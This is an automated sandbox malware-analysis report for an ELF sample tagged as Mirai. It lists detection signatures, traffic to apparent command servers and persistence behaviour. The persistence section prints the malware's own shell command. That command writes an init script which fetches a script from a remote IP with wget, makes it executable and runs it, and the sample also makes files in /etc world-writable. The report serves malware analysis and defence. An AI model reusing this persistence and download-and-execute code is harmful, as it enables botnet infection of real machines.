Linux Analysis Report
na.elf

Overview

General Information

Sample name: na.elf
Analysis ID: 1531483
MD5: d5fe73e8c423b96772a82449541e22c6
SHA1: 1560d25e99f594481bb8e259d9b99c71f445fdcd
SHA256: 9c8a7f11a9e88d4fad182d64e245ca604de3b01ec273f629423a43e682402e1b
Tags: elfMiraiuser-abuse_ch
Infos:

Detection

Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: na.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: na.elf ReversingLabs: Detection: 60%
Source: na.elf Virustotal: Detection: 60% Perma Link
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:59978 -> 154.216.19.139:38242
Source: global traffic TCP traffic: 192.168.2.23:41008 -> 193.143.1.59:38242
Source: global traffic TCP traffic: 192.168.2.23:38834 -> 87.120.84.105:38242
Source: global traffic TCP traffic: 192.168.2.23:53016 -> 185.170.144.84:38242
Sample listens on a socket
Source: /tmp/na.elf (PID: 6272) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.105
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 185.170.144.84
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.59
Source: inittab.16.dr, profile.16.dr, custom.service.16.dr, bootcmd.16.dr, na.elf.36.dr, mybinary.16.dr String found in binary or memory: http://154.216.19.140/
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal72.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/na.elf (PID: 6272) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/na.elf (PID: 6272) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6327) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 6338) File: /etc/rc.d/S99na.elf -> /etc/init.d/na.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/na.elf (PID: 6272) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6324) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6332) File: /etc/init.d/na.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/na.elf (PID: 6286) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/na.elf (PID: 6322) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/na.elf (PID: 6325) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/na.elf (PID: 6328) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/na.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting na.elf'\n /tmp/na.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping na.elf'\n killall na.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/na.elf" Jump to behavior
Source: /tmp/na.elf (PID: 6330) Shell command executed: sh -c "chmod +x /etc/init.d/na.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/na.elf (PID: 6333) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/na.elf (PID: 6336) Shell command executed: sh -c "ln -s /etc/init.d/na.elf /etc/rc.d/S99na.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6324) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 6332) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/na.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6335) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6238) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.X4LvdcPchc /tmp/tmp.hrDZxt4n4J /tmp/tmp.SKR6rNNjpj Jump to behavior
Source: /usr/bin/dash (PID: 6239) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.X4LvdcPchc /tmp/tmp.hrDZxt4n4J /tmp/tmp.SKR6rNNjpj Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6297) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/na.elf (PID: 6272) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6324) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6332) File: /etc/init.d/na.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/na.elf (PID: 6272) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/na.elf (PID: 6272) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6328) Writes shell script file to disk with an unusual file extension: /etc/init.d/na.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/na.elf (PID: 6272) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 6328) File: /etc/init.d/na.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/na.elf (PID: 6272) Queries kernel information via 'uname': Jump to behavior
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 6272.1.000055ac0a753000.000055ac0a8a1000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp Binary or memory string: /tmp/qemu-open.d1Mlmt
Source: na.elf, 6272.1.000055ac0a753000.000055ac0a8a1000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.d1Mlmt
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
154.216.19.139
 unknown Seychelles
135357 SKHT-ASShenzhenKatherineHengTechnologyInformationCo false
87.120.84.105
 unknown Bulgaria
51189 SHARCOM-ASBG false
185.170.144.84
 unknown unknown
59753 VDWELLEREE false
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
193.143.1.59
 unknown unknown
57271 BITWEB-ASRU false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false